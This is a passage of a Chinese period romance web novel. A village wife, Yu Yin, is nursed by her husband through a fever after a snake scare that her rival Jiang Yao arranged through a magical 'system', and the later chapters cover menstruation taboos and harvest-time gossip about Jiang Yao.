何大夫点点头,进屋抓药去了。 余阿娘拉着余银的手,叹了口气,“我都不知道她怕蛇怕成这样,早知道晚上就不讓她跟着一起上工了。” “也怪我啊,她从小就呆在家里玩不爱出去,也没见过蛇,只听我们说过,谁知道能给她吓成这样,可怜的乖乖啊。” 游雾州抿着唇也不知道如何开口,听了大夫说可能是因为被蛇吓到的,他心里酸酸涨涨的。 余银还是跟他在一块,让给吓成这样。 游雾州艰涩道:“以后晚上不让她去地里了,不上工我陪着她。” 余阿娘自顾自的懊悔,也没将游雾州的话听进去。 何大夫给抓了三副药,“三碗水煎一副药,煎三遍,等会回去先给她用艾草水擦擦,再给她灌上,快天明的时候还是没反应,再灌一次,一天三顿。” 烧的都没反应了,要是喝了药还不见好,只能再灌一副了。 游雾州接了药道謝,何大夫送他们到门口,叮囑说:“早上灌了药,等一个时辰,如果还是这样,药也别喝了,送医院去吧。” 他不敢打包票余银喝了药就能好,总归他的医术也不精,人都没意识了,他也看不出个所以然来,不能耽误了啊。 游雾州嗯了一声,和他道謝,随后跟着余阿娘一起回了家。 回家路上余阿娘哈欠连天,游雾州叫了余银几次,还是没反应,他心里那根弦还绷着,一点困意都感觉不到。 反而那种莫名恐慌越来越严重。 到了家游雾就让余阿娘赶紧睡了,明天要是余银还这样,他就带着余银去县里看看,余阿娘她们照常上工,不用担心。 余阿娘见他安排妥当,也不好再说什么,她虽是余银亲娘,可游雾州还是余银男人。 游雾州一手包揽了余银的事,那是好事,余阿娘叮嘱他:“你也注意休息,要是熬不住看着她,就言一声,都是一家人,不用怕不好意思。” “我先帮你把药煎了,艾草水也煮上。” 游雾州没推辞,“谢谢娘,我先把她放屋里去。” 也幸好家里有两个灶,同时烧着,艾草水烧好,就让游雾州打了水去给余银擦身子,熬药的锅底下用的硬柴,不用一直盯着。 游雾州端着那刚烧好的艾草水,忘记问能不能添点凉水,他也没敢添,怕添了凉水坏了药性。 他就用那滾烫的热水,把毛巾放进去,一点一点的擰干,手烫的发疼,也不在意。 毛巾拧好,他在放到脸上试试温度,怕烫到余银了,一点一点仔仔细细地,给余银擦着身子。 游雾州没怎么生过病,发烧的记忆也有些模糊,总归是不舒服的。 但他拧毛巾的时候,觉得那水滾烫滚烫的,跟余银身上的温度也差不多,可想而知余银现在是有多难受。 游雾州拿着毛巾给擦着余银的脸,视线游走过她那双好看眼眸,秀气的鼻子,再到那抿着的唇瓣。 她的嘴唇也很好看,平时都水润润的,像是挂着露水的桃花瓣,饱满欲滴,亲起来软软的。 现在因为发烧变成了艳丽的海棠红,唇瓣也干皱起来,像是饱满的花瓣有些要枯萎的样子。 游雾州的指尖在余银的唇瓣上轻轻摸了两下,像是要抚平那些微皱。 对于此情况的余银一无所知。 她躺在床上没多久就睡着了,夢里滋滋吐信子的声音,蛇朝她走过来悉悉索索的声音,碰到他是湿滑冰凉的触感,还有那双冒着绿光的眼睛。 余银觉得自己好像被困在那了,一遍又一遍经历着。 太可怕了,那种挥之不去感觉。 没有人救她,好多蛇围着她,盯着她,在她身边悉悉索索的走动,吐着信子吓她。 她晕也晕不了,眼睛也闭不上,那些冒着绿光的眼睛就在她的视线内,很可怕,那种精神上的折麽。 让余银一度崩溃- 晚上下工后,知青们都回到知青点。 江窈躺在床上,心情愉悦地跟脑海中的係統沟通:“还有没有其他的让余银不能和游雾州相处的机会?” 她想让余银即使结婚了,也不能跟游雾州相处的太多。 游雾州那样的人哪里是余银能染指的,设计嫁给了他还不够。 余银为了看着游雾州竟然也下地上工了,真是恨不得无时无刻扒着他,这让江窈很气愤。 对余银的怨恨也更深了。 她这几天帮着係統完成了一些小人物,可以让余银老实几天,不能跟着游雾州一起。 但奈何找不到办法往余银身上使,又赶上要下地抢收干活,更没机会了。 可不让余银老实几天,她心里那股怨气越憋越大,晚上下地的时候,还被突然爬过来的蛇吓了一条,这让江窈心里更扭曲了。 也想到了余银怕蛇 ,甚至是听到蛇就能身上起一层鸡皮疙瘩的。 她让係統安排了一条蛇,在余银割麦子的时候,突然抓到,那样肯定能吓到她,再让她晚上被吓到发烧。 梦里全是她晚上见到蛇的场景。 想到这,本来下地干活身心俱疲的江窈,就跟打了鸡血一样激动。 系统告诉她,事情成功了,余银现在正发着高烧,梦里也被晚上的场景困着。 但因为系统做了不可逆转的事,现在能力有限,只能让余银发烧几天。 江窈觉得还不够,最好能让余银一辈子醒不过来。 在江窈脑海里的系统告诉她:“不太可能,要按照本来的发展走,一年后游雾州参加高考,他们就不会再有交集了。” 江窈冷哼一声,“我不是女主吗?为什么不能直接让我俩在一起,还非要安排余银出场,那个贱人有什么好的。” 系统沉默了好一会,机械声才缓缓道:“这样才能更大化的,让游雾州的经历更深刻。” 江窈撇嘴,每次一说这事,都是这个理由,她都听腻歪了。 但谁让脑子里这个系统说她是女主呢,也能帮她和游雾州在一起。 系统也知道她的心思,没再说话了,她能力不行,能做的也太少了…… 第28章 第28章余银醒了 藥也很快就熬好了,他把人抱起来靠在自己身上,胳膊圈住她以免滑下去。 “余银,余银。” “张嘴,喝藥了。” “来,啊。” 也不知道是不是真听到了,余银打了个哆嗦,差点晃洒了他端着的藥。 游雾州见她这样子,约摸着她自己也是喝不了的,端着藥喝了一口,低头亲上了她的唇。 一点一点将药从他嘴里渡给余银,她半张着唇,把药咽了下去,所幸把药都喝了下去。 游雾州将人放到床上躺好,给她盖上被子,裹好抱在怀里睡覺。 快天亮的时候,余银迷迷糊糊醒了一次,她覺得好累啊,那蛇也不在她的梦里,但梦里她像鍋底燃燒的柴火一样烫。 她听到了上工号子,好像游雾州也在叫她起床,她應了一声,可怎么也起不来。 “上,工,我就起了。”余银眼眸微微张开一条缝,眉心紧拧着。 游雾州在号子吹响就醒了,摸了摸她的额头,还是有点烫,身上也没有汗湿的痕迹。 他眉宇紧蹙,但輕声道:“不上工,你生病了,再睡会。” 余银听到这话,又睡了过去。游雾州有些无奈的摇了下头,燒成这样了,听到上工号子响,还想着起来上工。 不过见她还能听到声音有反應,他穿好衣服洗漱,去廚房给她燒点水,準備再擦擦。 一进廚房,发现余阿娘已经燒好水了,正把药往碗里装。见着他,就问道:“小游,咋样了小鱼儿,烧退了没?” 游雾州叫了声娘,然后道:“刚听到号子,人还没醒还準備起床上工,现在又睡过去了。” 他实话实说,一点也没瞒着,毕竟人这会能有反應算好的了。 余阿娘听了果然松了口气,“讓她歇着吧,改明她好了,去何大夫那再给她开点补身体的。” 游雾州点头,接过余阿娘盛好的药,说:“那我先给她药喂了,今讓虎丫在家里看着她,现在太忙了,我不去不合适。” 他原本打算余银今早要是不醒,他就帶着人去医院,稍微好点就去上工,现在人醒了,虽然还烧着,但他不能不去上工。 这时候太忙了,不去上工怎么都说不过去。 余阿娘端着艾草水走在他身后,也知道这个理,什么也没说,把水端到他们门口就又回去做饭了。 这次不讓她张嘴喝药,能自己半张嘴了,游雾州端着药往她嘴里喂,可能是没那么迷糊了,知道药苦,喝了一口就不愿意喝了。 嘴巴闭的紧紧的,怎么也不张开了。 游雾州只好用昨晚的办法,自己喝了一口,贴上去,舌尖撬开她的唇齿,一点一点喂进去。 喂完药,又用艾草水给她擦了擦。 他们走的时候给鍋里留了余银的饭,讓虎丫在他们屋子里呆着,要是余银醒了,就把饭端过来让她吃了。 虎丫知道余银生病了,搬着她的小凳子就去了她们屋里坐那看着床上的余银。 游雾州没和余阿娘她们一起走,给余银喂药擦身子耽误了会时间,他去仓库领劳动工具的时候,没几个人了。 他找保管员拿了镰刀后,去地里割麦子,路上一直有种被人窥视盯着的感覺。 但现在地里都是人,都在忙着割麦子,他四下看了看,也没找到那窥视的来源。 游雾州也没在意了,拿着工具去地里割麦子。 江窈今天故意磨蹭,在知青点出来后磨磨唧唧地,看到来来往往的人里都没有余银,她心里那叫一个高兴。 系统告诉她,只要按照它的指示去做一些事情,她就能得到游雾州- 余银在床上迷迷糊糊睡了两天,身上的烫熱才完全下去了。 她对这两天没一点記忆,每次醒都只醒了很小一会,饭都没怎么吃。 半夜的时候,余银醒了,脑子也清明了不少。 她是被饿醒的,肚子还一抽一抽的疼,饿的难受。 余银睁开眼,下意识地往窗外看,乌漆嘛黑静悄悄地。 她也不知道自己睡了多久,抬手摸了摸肚子,在她身上的胳膊就好像知道她醒了,男人低沉的嗓音在耳边响起。 “乖,再睡会啊。”游雾州輕輕拍抚着她。 他这几天睡的都很輕,余银一有动静他就醒了,手就往她额头探去。 余银眨了眨眼,长睫扫着他掌心,她感受到男人身体一瞬间僵住了。 “你,你醒了?”游雾州有些不可置信。 房间黑乎乎的,但他也能看到那双黑亮的眼眸,是清亮的眼神,不再是迷糊的状态。 余银有些疑惑,但她太饿了,一手撑着床,轻轻坐起来,她身子太虚了,起的十分艰难。 还是游雾州见她要起来扶着她坐起来的。 她身子没一点力气,完全依靠着游雾州的身子。 这太不对劲了,她应該也才没睡多久,怎么就浑身没一点力气? “我怎么了?”余银一开口嗓子很干涩,声音也有些沙哑。 游雾州心里松了口气,脸上终于露出了,这几天唯一一个发自内心的笑容,他柔声道:“你发高烧了,烧了两天。” “难怪了。”余银嘟囔道。 肚子又一顿抽疼,她没忍住的弓起了身子。 身体还有一股黏糊糊,潮熱的东西再往外流着。 余银顿时身体僵住,不敢乱动。 “怎么了?”游雾州问她:“哪不舒服了?” 可能是才刚落过水,上次的没来,这次的憋了太久终于来势汹汹的来了。 余银涨红了脸,就要往床上下。 游雾州点起煤油灯,也跟着她下床,“怎么了?” 屋里因为煤油灯,瞬间亮了起来,他看到余银脸色苍白,手还按在肚子上。 “肚子疼?”游雾州问。 余银咬着唇,不知道該怎么说,她走到箱子里,找月经帶。 游雾州站在她身后,看到她白嫩的大腿上,有一道血正往下流着。 “你,你怎么了?”他嗓音有些干涩的问。 余银拿了月经帶出来,见他盯着自己腿看,低头发现已经顺着往下流了,脸色瞬间由苍白边涨红。 一时间也不知該如何开口,她拿着月经帶看着他。 游雾州也不是什么也不懂,看到她手里的东西,脸也通红一片,有些尴尬的僵在那。 两人僵持了一会,感受到身体的变化,余银咬着唇,有些不好意思的说:“要不你回避一下,我换个衣服?” 游雾州轻咳一声,转过身去,“锅里有水,我给你熱一下打过来。” 他连衣服都忘記穿了,光着上身,把门带上去了厨房。 不知道余银什么时候退烧,锅里还有艾草水,他引了火,添着柴。 他水没烧的太烫,这本来就是滚水凉了,他摸着水温差不多,舀水才发现,自己出来没带盆。 游雾州又回到房间拿盆,準備关门出去的时候,问她:“你饿不饿,要不要吃东西?” 余银本来就是饿醒的,经他一提醒忙点头,人可能刚退烧,脑子还没太清醒。 点了半天头,才发现游雾州背对着自己,她赶紧开口,“吃。” 覺得自己现在能吃下好多东西,怕他只做平时的饭量,补充道:“我饿的很,你多弄点。” 游雾州应了声好,给她打了水进屋,又去做饭了。 她才退烧,这几天除了喝药,基本上没吃什么东西,这会儿又饿的厉害,光吃鸡蛋羹肯定不顶饿。 游雾州想了想,摸着黑,去菜地里准备掐点葱,看到了个人鬼鬼祟祟地。 可能是因为半夜了,他有没有拎着煤油灯,他掐了葱,正准备走的时候,那人踩到了一块砖头,吓了她一跳。 “我靠,吓死我了。”那人听声音是个年轻姑娘,有些熟悉,但他不記得是谁,说的话他也听不太懂。 “也不知道小说里女主半夜去黑市,都是怎么去的,不害怕吗?这年代也就这一点不好了,再忍忍吧胜男,等两年都恢复正常就好了。” 柳胜男在妇联的干涉下,又加上农忙,王大花也没在把她怎么样了,原主的身子挺耐打,她缓了两天就差不多好了。 作为一个穿越过来的人,她秉信着自己就是天选之子,毕竟原身的名字和身世都挺像天选之子的。 小说里女主和男主都会在黑市遇见,在黑市里很捞一笔,然后考大学,做生意,发家致富。 她也准备去黑市闯一闯,为自己搏一把吧。 游雾州是等她离开了,在从菜地里出去,对她那番话,让他不禁联想到江窈说高考也是一两年。 这两个人好像都知道一些很隐秘的事情,还如此的笃定。 到底是因为什么,就让她们如此笃定,江窈家里也没有什么人给她这些消息,刚才那个人应该也是村子里的。 但在这个村子里,消息这么便捷,甚至连余阿舅都没提过的事,她们是怎么知道的? 游雾州一边想,一遍给余银做了一小葱鸡蛋面汤。 小葱和鸡蛋放点盐炒香,添上水,等水滚开了,他把糊好的面糊糊到里面,咸香可口面汤就好了。 她嘴里没什么味,这个喝着刚好,还容易吸收。 游雾州端着一大碗面汤进屋,余银已经收拾好自己了,趴在床边尾放着的箱子上,托着腮出身。 见他进来,余银眼睛一亮,“好香啊,做的什么?” 游雾州把饭放在桌子上,“小葱鸡蛋面汤,吃吧。” “刚出锅有点烫,你慢点吃。” 余银弯着眼,“好,谢谢你游雾州。” 他被她吵醒也不生气,知道她饿了还给自己做饭吃,余银也不是好赖不分的人。 饭太熱,她就沿着碗边抿了一小口,咸咸香香的在口腔里化开,在流进胃里,暖暖的。 余银觉得那口饭连心里都热乎乎的,笑眯眯地夸奖他:“游雾州你做的饭真好吃,我等会要把这一大碗都吃光。” 没有厨子不爱听人夸自己饭做得好吃。 游雾州也不例外,翘了翘唇角,“吃不完也没关系,别撑着了。” 吃完还要睡觉,等会撑到了睡着可不舒服。 余银拿着筷子搅着饭晾,“放心吧,我现在把这一碗全吃完都不觉得撑。” 她左手支着脑袋,身体侧倾着看着他,漂亮的眉眼在在灯光下好像天上的星星,看着人的时候,仿佛满心满眼都是眼前人。 游雾州对上她的眼神,心口处没来的一颤,无奈的说:“别硬撑着吃就行,你换下来的衣服给我,我去洗了。” 他这会也不睡,就准备余银换下来的衣服给洗了。 余银放下筷子,摆摆手:“不用,不用,这个我洗就行了,你不能洗。” 在村里,本来就没有谁家男人还洗衣服的,家里的衣服都是王桂香和余阿娘洗,忙的时候是余银洗的。 更何况这还是带了经血的衣服,男人碰了会倒黴的。 因着游雾州都是晚上给她洗的衣服,余阿娘也不知道,她也偷偷窃喜装作不知道谁给她洗的。 也不会问。 但这次不一样,余银怎么可能会让游雾州去洗。 游雾州不知道这些,只觉得她身体还没好,又来了月经,自己左右这会没事,给她洗个衣服而已。 “没事,我这会又不睡,很快就洗好了。”游雾州轻声说道。 “不了。”余银绞着手解释道:“这个你不能洗,洗了会倒黴的。” “……” 游雾州沉默了许久,缓缓道:“国家禁止封建迷信。” “这些话以后别说了。”说完,他在屋子里看了一圈,找到余银换下来的衣服拿起来。 余银忍不住说:“真的会倒黴的,大家都是这么说的。” 她也不吃饭了,下床鞋都没穿抢过游雾州手里的衣服,“男人不能碰的,你赶紧去洗手去。” 平时就算了,她可不能丢了西瓜捡芝麻,也就洗个衣服,她又不是不能洗。 要是因为帮她洗个衣服,游雾州就开始倒黴,那可真是得不偿失。 游雾州眉角一抽,“你哪我没碰过?再说那东西从哪流出来的,我经常碰,不也一点事没有。” 他说的直白,直接拿过余银手里的衣服,准备离开的时候发现她鞋都没穿,叹了口气,把人抱在床边坐着。 可能是因为余银的个子也不矮,她的脚不是小小的。脚上没什么肉,是那种纤瘦的骨感。 很白,很漂亮,在昏黄的灯光下,更是白净莹泽。 游雾州缓声道:“你也不是能被糊弄的小孩子了,确实是你那地方我没少碰,也没见我倒霉,这也是为什么国家禁止封建迷信。” 他边说边用手擦了擦她的脚。 余银偷偷看着游雾州,小声问道:“那你要是真倒霉了怎么办啊?” “就因为洗这个衣服。” 这事真不能赌,如果是真的该怎么办? 游雾州仰起头看着她,神色平淡,“那你说,什么是倒霉,什么又是不倒霉?” 余银听了这话有些纠结,她也说不清楚。就道:“反正她们说洗了这个衣服就是会倒霉啊。” 游雾州笑了一下,挑了挑眉道:“那你觉得我会因为什么倒霉?” “这我怎么知道。”余银说:“我又不是神仙,也不会未卜先知啊。” 余银咬了咬唇,怎么自己一番好心他就不领情啊。 上辈子他给自己洗过这样的衣服没,余银也有些记不清楚了,不知道是不是后面那两年一直没见过,她对两人在一起的日子越来越模糊了。 很多小事情都不太记得住。 现在的游雾州似乎也和记忆里的他有些不一样,可又觉得好像这也是他。 游雾州上辈子对自己有这么好吗? 余银也说不好,只记得他不怎么跟她说话,两个人在一起相处的时间,大部分都是做那事多一些。 但也是对她好的吧,不然自己怎么就心里一直装着他。 游雾州见她不说话,捏了捏她的脚指头,“洗个衣服而已,咱们都是人,你能洗,为什么我不能洗,而且封建迷信不值得你这么相信。” 余银听了有些别扭的说:“你非要洗就洗吧,到时候倒霉了可别怨在我身上。” 说完,脚从他手里抽出来,往出床上爬去,她饿死了,还是吃饭要紧。 他自己不听劝的,都说了好几遍,非要去洗。 真是好赖不分的一个人。 游雾州知道她是为自己着想,也暗暗觉得这些封建迷信真的迫害的人不轻。 明明一些无关紧要的事,却非要分个男女,女的能做,男的碰了就倒霉,本来女的身子就不必男的强壮,却又要干着一样的活。 这都已经有些不公平了,现在连洗个衣服都不行,他以前在家里也会自己洗 ,他外公有时候还把衣服也给他洗,也没什么啊。 游雾州拿着衣服出去,他觉得可能是因为还在村子里,被周围人熏陶的太久了,余银懒,以前有余阿娘照顾着,她一时间角色也没转过来,今晚这粘了经血的衣服就让他发觉出来。 余银骨子里还有些男尊女卑的旧思想。 这不是什么好的现象,他要好好想想,怎么把余银的这些思想给改掉。 两个人是要过一辈子的,有些事也要慢慢磨合,他也应该时刻警醒着,不能察觉到余银的不对劲还顺从着。 时间久了,他眼和心就都盲了。 就那两件衣服,游雾州洗完衣服,又去厨房把锅刷了。 等他回屋,余银碗里的饭还有一半,正慢吞吞地小口喝着。 游雾州脱了鞋和上衣,拿着扇子坐她旁边扇着,“吃不完别硬吃,撑着肚子不好。” 余银捧着碗小口喝着,含含糊糊说:“真的能喝完,就是还有点热。” 天也热,饭还是烫的,面糊又凉的慢。 余银倒也想大口大口的喝,但越往下喝越热的慌。 她端着碗往游雾州唇边递去,“你也吃点吧。” “我不饿,你吃吧。”游雾州摇头拒绝,拿着扇子干催对着她碗扇,“我给你扇扇,把碗里鸡蛋吃完,饭喝不完没事。” 说着,手里拿着老蒲扇,对着余银手里的碗扇。 毕竟是风,也能起到一点作用。 游雾州扇着,余银小口吃着,过了一会,饭还真让她吃完了。 那是一整碗,里面还有蛋,游雾州特意炒的时候没弄的稀碎,想着她把蛋吃完算了,让她垫垫肚子,等白天醒了再吃其他东西。 余银把空碗放在箱子上,舔了舔唇角,一脸满足,“你做的饭太好吃了。” “撑吗?”游雾州问她。 余银摸了摸肚子,“一点都不撑,我还能再吃一碗。” “是吗?”游雾州也摸了摸她肚子,小肚子很平坦,确实不怎么鼓,说道:“那也不能吃了,不然该难受了。” 余银轻嗯一声,“睡觉吧,碗等早上起来再刷。” 游雾州吹了灯,抱着她躺下,问她:“还睡得着吗?” 她睡了这么久,约莫是睡不着了。 余银刚放松的躺下,就开始汹涌的流着,还被他抱着,有些不自在地挣开,提醒道:“我不知道能不能睡着,但你这样抱着我,肯定是会弄到你身上的。” 她还垫了草纸,但照这么流下去,她等一会就要爬起来,再换一次。 月经带是余阿娘给她做的,这东西用的棉和布,棉花村里会种,但还要做棉衣,没人会拿来做很多月经带。 她的也用了挺久了,每次用完还要洗洗晾晒,经常洗的话肯定会越来越不能用了,大家都是上面还要再多垫点草纸,才能让月经带的使用时间长久点。 而且垫着月经带,她必须夹着腿,老老实实的睡平,才能让东西不流在床上。 游雾州身体一僵,怕余银会觉得自己嫌弃,侧着身子搂着她,“没事,我不嫌弃。” 也不知道她这两天怎么了,这男人咋对自己百依百顺的呢? 余银推了推他,没推动,反而被搂得更紧,她深呼一口气,一字一句道:“我不想漏出来。” 游雾州松开了手,等她调整好姿势,还贴心的问她:“这样不会漏出来吗?” 余银不知道他怎么这样问,诚实道:“也不一定,但这个姿势我比较安心些。” 游雾州哦了一声,抬起胳膊腿,在她躺好的姿势上,又圈住了她。 余银抿了抿唇,压着内心的烦躁。 “游雾州,你不觉得热吗?” “不热啊。” “你不觉得这个姿势难受吗?” “不难受啊。” “那你压的我肚子疼。” “是吗?我没有碰到你肚子啊,那我给你揉揉。” “……” 第29章 第29章余银可不介意加把火 畢竟是农忙时期,余银醒了后就继续上工搶收。 老天爷就跟故意都弄他们玩一样,明知道搶收时期最怕下雨了,还要是不是天阴一会儿来吓唬人。 农民们都在心里盼着可别下雨啊,要下也在抢完了再下。 到时候地也好挖,好播种。 余银这次去是看曬粮场的活,身为弱劳动力,不能拖累成员们,一些没那么能干的,在抢收两天后都分了一些轻松点的活。 而壮劳动力继续收割粮食,拉小麥,给小麥脱粒,晾曬。 晾晒小麥,有专门的过来把小麥倒地上,她们只需要扒平,在时不时的翻面,讓每粒小麦都晒到。 而这个活除了刚开始和收尾,其余时间都很闲暇,不是很累。 余银和几个妇女一起晾晒小麦,还有一个她好久不见的老朋友——江窈。 那几个妇女都是怀了身子的,余银是因为病还没好全,才托着余阿舅的关系,干这个轻松活。 在村子里,好的活或者东西,村里人首先想到的都是自己人,江窈一个在知青,是怎么拿到这个活的。 畢竟抢收的同时,猪也要喂的,她一直做的割猪草。 余银把他们堆成一堆的小麦扒开,她旁边的那个就是接了她割猪草活的李小桃。 她先头有过一个男人,嫁过去两年多也没怀上,后来听说她男人死了,怎么死的余银也不知道。 李小桃男人死了后,她婆婆就嫌弃她是个碍事精,也没给他们家留个后,为了给小叔子再娶一个,也是个黑心肝的,不跟她娘家说一声,就把她嫁给了老扬家的老大。 一个三十多,因为窮还没去上媳妇的老男人。本来是说不如讓她跟那小叔子过算了,可能是因着她两年多都没怀上孩子,就索性把她嫁了。 李小桃本着嫁鸡隨鸡嫁狗隨狗的念头,一个寡妇还能有人娶,总比嫁给自己小叔子强,她两眼一抹黑就嫁到了杨柳村。 但老杨家虽然很窮,胜在人不錯,比她上一家好太多了。 李小桃男人杨大福是个老实肯干,就是家里公公腿有点毛病,干不了重活,婆婆还算能干,可惜下面两个小叔子,两个小姑子,一个小叔子脑子小时候烧坏了,时不时要吃药。 家里劳动力少,吃饭的人多,所以老大杨大福才三十多才结婚,还娶了寡妇,但没办法,誰讓家里穷还没钱。 娶李小桃差不多都把老杨家的钱掏空了,老杨家也不知道她不能生,連李小桃自己也以为她不能生。 誰知道这结婚一年不到,她就怀上了。 孩子来的不容易,又是家里的第一胎,也想看的仔细点,可他们家也没个能帮衬的,那天余银说完她的活誰都可以干之后,婆婆就去找了余阿舅,说了她情况后,除了割猪草的活,还让她在这农忙的时候过来晾晒小麦。 老杨家一家都在记着她们的恩情。 李小桃是个麻利的,怀孕了也不耽误她做事,自己的弄完了,见余银还没弄完,也过来帮着她干活。 “余妹子,还没跟你说声谢谢呢。”李小桃拿着耙子,帮她把小麦扒开,“要不是你,我这会也干不这么松快的活。” 余银没见她,但听她这么说,也大概知道了她是誰,笑了笑说,“你是大富哥的媳妇吧,不用客气,本来就是你们身子不爽利,就能换一个活,只要不嫌弃公分少就行。” 她的说的确实是实话,那些没找着余阿舅的人,她不可能上门告訴人家,我给你换一个活,轻松点的,但是公分不高的。 有的人会乐意,但有的人肯定也不乐意。 余阿舅开会的时候提过,谁家有困难可以直接说,但一听到公分低就也不愿意了,久而久之他们好多都忘了。 李小桃擦了擦头上的汗,“你真客气了余妹子,那也是你开口了,放心,我们老杨家都在心里记着呢。” 余银笑了笑,也没跟她继续掰扯,看着離她有些距離的江窈,装作不认识的问李小桃:“那个人也怀了身子吗,看不太出来啊。” 李小桃眯着眼,看向远处的江窈推着 耙子,正扒拉着小麦,“那是知青点江窈,她还没结婚,哪来的身子。” 余银哦了一声,随意的说着:“我还以为她也怀孕了,畢竟这里面除了我,你们几个都是怀了身子的。” 她还有帐没和江窈算呢,这些日子没见到她,也都没想起来,这下直接撞到她眼前了。 李小桃见她不知道江窈,又想到她婆婆说过余银不爱出门,連自己都不认识,走近讨好的说道:“她可有能耐的很。” 余银装作怀疑的看了李小桃一眼,“真的假的,我看她文文气气地看着很好相处的样子。” “你不怎么出门,村里好多事都不知道。”李小桃撇了撇嘴,“你看知青点的谁过来干这个活了,村子里怀孩子的可不少,怎么就偏偏让她来了这。” “听说她和村长家的孙子走的很近,也不知道是不是在处对象。” 这话可不能随便亂说,要不然又是毁人名声的节奏。 她虽然讨厌江窈,想使点小绊子给她,但也不想毁人名声把人往死里整,她可太知道那是什么滋味了。 余银心突的一跳,压着声音提醒她:“嫂子你可别亂说啊,这话可不能随便乱说。” “乱说话要是让人听见了,到时候就不好收场了。” 李小桃想到前几天余银跟王大花打起来,也是因为王大花乱说话,她懊悔自己说錯话了,尴尬的笑了一下。 那事也确实是只有自己和他男人知道,也没往外说过,毕竟是村长家,她也得罪不起。 她摆摆手,“是嫂子我说错话了,说错话了。” 余银她娘是知道倆人关系好的,她也没听她娘提过,江窈和谁怎么样了。 怎么就李小桃会怀疑。 是不是两个人真有啥事?要是真有啥事,她也没必要给自己找麻烦,去给江窈使绊子。 毕竟村里余家和柳家算是里子不合,和村长家不能再有啥了。 但要是真有这事,她可不介意帮她们把纸戳破,再加把火的。 余银眼珠一转,拉着李小桃,笑的灿烂:“哎呀嫂子,我也不跟你藏着掖着了,你听了可别往外说啊。” 李小桃疑惑地凑近她,余银在她耳边悄悄道:“我就是见她长得挺漂亮,还是个有文化的知青,你也知道我上头还有个哥哥,这我都结婚了,我哥这还没着落呢。” 余银在心里默默地给余金倒了个歉,毕竟如果只是打听的话,还是悄咪咪的,对他倆都没什么影响。 就是可能江窈和游雾州的事,她现在是在帮余金打听相看的,多少觉得有点膈应。 李小桃不知道她葫芦里卖的什么药,听着余银要给她找对象,这意思还是看上江窈了,她瞅了余银一眼,“你也看上这江知青了?” 余银听到她话里的“也”字,秀美微蹙,“嫂子,你刚才说那她和村长家的孫子,是有啥误会还是什么,我哥这要是相看,也不能稀里糊涂地相看啊。” 说完,她挽着李小桃胳膊晃了晃,“嫂子,你看咱们这关系,要是真成了,你还算是她们的媒人啊。” 李小桃想到余家对自己的事,要是不说吧,万一到时候相看又知道,她心里会不带劲,说吧,又怕里面真有啥事。 一番纠结下,她四下看了看,招呼余银凑近自己,“你凑过来,我跟你说个事。” 她声音压的很小,像是生怕被第三个人知道了,把那天晚上她看到的事告訴了余银。 老杨家实在是穷,她怀了孕饿的厉害,家里也真的没有一口多的能吃的,是真的没有办法了。 她婆婆说后山那水塘边去的人少,晚上水鸭子,也都出来了,水塘里的鱼是不敢动的,他们碰碰运气,看不能捡两个鸭蛋,或者逮个鸭子也是好的。 李小桃晚上下了工,和他男人一起偷偷摸摸从去后山水塘边,还真让她们捡到鸭蛋过,还逮了蛇来吃。 就这样,他俩没事就去后山水塘边碰运气,蛇多,但也不敢常吃,毕竟怀了孕,主要是偷水塘里鱼吃。 但这她可不敢跟余银说。 她们那天刚逮了一条鱼,就听到了有人来了动静,吓得赶紧把鱼撒回水塘里,也不敢动。 鱼跳水塘里会声音,动静不小,那人说过来看看,李小桃就和杨大福当时就吓懵了。 因为那是村长家孫子的声音,要是被逮到,就完蛋了。 俩人以为就要被发现了,谁知道一个女声突然响起,“算了,估计是水塘里的鱼。” 他们不怎么和江窈接触,不知道那是谁。耐不住好奇心,偷偷看了一眼,村长家孙子正抱着一个姑娘。 那姑娘看不清脸,等村长家孙子松开手,一副娇羞样子的说他:“你再这样,以后别来找我了。” “我不这样了就是,你别不让我找你。” “好江窈,江知青,江同志。” 俩人黏糊糊的模样,李小桃和杨大福也没想到,偷吃个东西,还能撞到这种事。 听着村长的孙子喊那人,是个知青点叫江窈的女知青。 他们除了抱那一下,还干啥了也不知道,李小桃和杨大福也不敢多看,一直等到他们离开了,才偷偷绕路回家。 这事连她婆婆也不知道,去水塘那捞东西吃也没再做了,主要也怕哪天真被碰到了。 李小桃说完,谨慎的说:“余妹子你我当你是亲妹子,才告诉你的,这事我连我家婆婆也没多说半个字。” 余银还在消化这个事,点头应着,“放心嫂子,我也拿你当嫂子,不会乱说,我哥那事也就咱俩知。” 两人达成一致,李小桃是个话多的,又憋着这个事谁也没说,余银又想探探虚实,就开始讨论江窈是在和村长的孙子搞对象吗? 第30章 第30章没吵起来的争吵 从李小桃那听来的话,余银估摸着江窈可能真和村长家的孙子有点啥。 余银在村里没有要好的玩伴,也就江窈下乡以后,和她关係親近一点。 她后来见到游雾州身边的人是江窈,心里也埋怨过,可更多的是无能为力。 她确实从各方面来说比不过江窈。 也不如她。 余银不想把事情都怪在别人身上,她只能怨自己,如果不是自己鬼迷心窍,可也实在想不通,他们是怎么背着自己搞一起的。 不覺得有一点点愧疚感吗。 眼见活都干完了,她们找了个地方坐着乘凉歇着,江窈也没一点跟自己打招呼的迹象,仿佛不認识一样。 余银坐那有一搭没一搭的和周围人聊着天,東扯一句西扯一句的,说到結婚那天她穿的衣服真好看。 余银扬着下巴,眯着眼睛,冷不防的喊她:“江知青,我結婚的时候你怎么不来啊?” “我从小就没啥关係親近点的朋友,也就跟江知青你关系好一点,虽说我结婚的事闹的有些不光彩,可到底也是喜事,村里人该来的都来了,就跟我关系好的你咋没来,我娘还问你呢。” 看着江窈僵着的表情,余银覺得心口那点郁气好像有点散了,接着裝模作样的道:“那掉水里的滋味可真不好受,我不跟你一起,你也少去那水塘边,也就是我运气好捡了个大便宜,被我男人救了,嘖嘖。” 李小桃听着她的话里不对 劲,像是倆人認识关系还挺好的,想到自己刚才跟她说的那些话,拉了拉她胳膊悄声问:“你,你跟江知青关系很好?” “那也是以前了。”余银说:“放心,刚才的我不会乱说,咱倆才是親姐妹啊。” 说着余银还安抚的拍了拍李小桃的手,两人刚才聊的太契合,也不在嫂子,妹子的称呼了,都趕上亲姐妹的叫了。 李小桃觉得余银有些太会哄人,也怕她是哄自己的,张了张嘴道:“我可真拿你当自家妹子的啊。” 余银听了这话扬了扬眉,“小桃姐,好姐姐,我还能唬你不成?要不我讓我娘中午下工,就去家里认你做干女儿了。” 李小桃被她叫的有些不好意思,嗔了她一眼,“那哪行啊,我信你信你。” 余银安抚好李小桃,见着江窈有些臉色有些恼怒,可却一副抿着嘴不肯解释,颇有些楚楚可怜的意味。 